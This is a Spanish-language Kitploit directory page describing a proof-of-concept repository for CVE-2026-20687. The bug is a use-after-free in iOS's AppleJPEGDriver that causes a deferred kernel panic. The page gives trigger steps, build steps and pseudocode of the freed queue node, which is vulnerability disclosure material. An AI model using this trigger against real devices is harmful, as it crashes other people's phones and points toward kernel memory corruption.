Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-20687-AppleJPEGDriver-UAF — CVE-2026-20687: AppleJPEGDriver startDecoder Timeout UAF — vulnerabilidad del kernel de iOS/macOS que provoca un pánico diferido (A19 Pro, iOS 26.3 RC) | Kitploit
Herramientas/GitHubGitHub/0xjohnnydev/cve-2026-20687-applejpegdriver-uaf
Seguridad iOSAnálisis de VulnerabilidadesExplotaciónSeguridad MóvilExplotación de Binarios
GitHub0xjohnnydev/cve-2026-20687-applejpegdriver-uaf

CVE-2026-20687-AppleJPEGDriver-UAF

CVE-2026-20687: AppleJPEGDriver startDecoder Timeout UAF — vulnerabilidad del kernel de iOS/macOS que provoca un pánico diferido (A19 Pro, iOS 26.3 RC)

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Ver Repositorio
Sitio web
28838hace 2 mesesRevisado por Kitploit
Compartir

CVE-2026-20687: UAF por timeout en startDecoder() de AppleJPEGDriver (panic diferido)

CVE-2026-20687 | Autor: Johnny Franks (@0xjohnny)

Componente: Kernel

Impacto: Una app podría provocar la finalización inesperada del sistema o escribir en la memoria del kernel

Descripción: Se solucionó un problema de uso después de liberar (use after free) mediante una mejor gestión de memoria.

— Apple Security Content, iOS 26.4 y iPadOS 26.4

Esto provocará un kernel panic en tu dispositivo. Guarda tu trabajo.

Probado en iOS 26.3 (23D125) en iPhone18,2 (iPhone 17 Pro Max, A19 Pro).

Disparador

Disparador directo:

  1. Ejecuta el PoC y toca Panic (prepara el driver / encola trabajo asíncrono).
  2. Luego abre Camera (esto provoca de forma fiable una decodificación JPEG síncrona + timeout en la compilación afectada).
  3. La ruta de timeout libera una petición pero deja su puntero de nodo de cola incrustado en el vector por códec.
  4. Un recorrido posterior de la cola desreferencia el nodo obsoleto y el kernel entra en panic (fallo de comprobación de etiqueta MTE).
// PoC: prepara el driver; el panic suele diferirse hasta que se abre Camera.
IOServiceOpen("AppleJPEGDriver");
for (int i = 0; i < N; i++) {
  startDecoder_async();                   // queue_io_gated(): vector.push(req + 0x78)
}
IOServiceClose(conn);

// Más tarde, abrir Camera dispara:
startDecoder_sync();
  queue_io_gated(): vector.push(req + 0x78);
  wait(10s) -> TIMEOUT;
  pool_free(req);                         // BUG: NO elimina de la cola (req + 0x78)

// Aún más tarde (finish_io_gated):
fullSpeedRequestExist():
  node_ptr = vector[i];                   // obsoleto: node_ptr == (req liberada + 0x78)
  req2 = *(node_ptr + 0x8);              // lectura UAF de req+0x80 -> fallo de etiqueta MTE -> panic

Compilar y ejecutar

  1. Abre ios-app/Test.xcodeproj en Xcode
  2. Selecciona tu dispositivo iOS (el simulador no es útil)
  3. Compila y ejecuta
  4. Toca el botón Panic
  5. Abre la app Camera para disparar el panic diferido
Descargar herramienta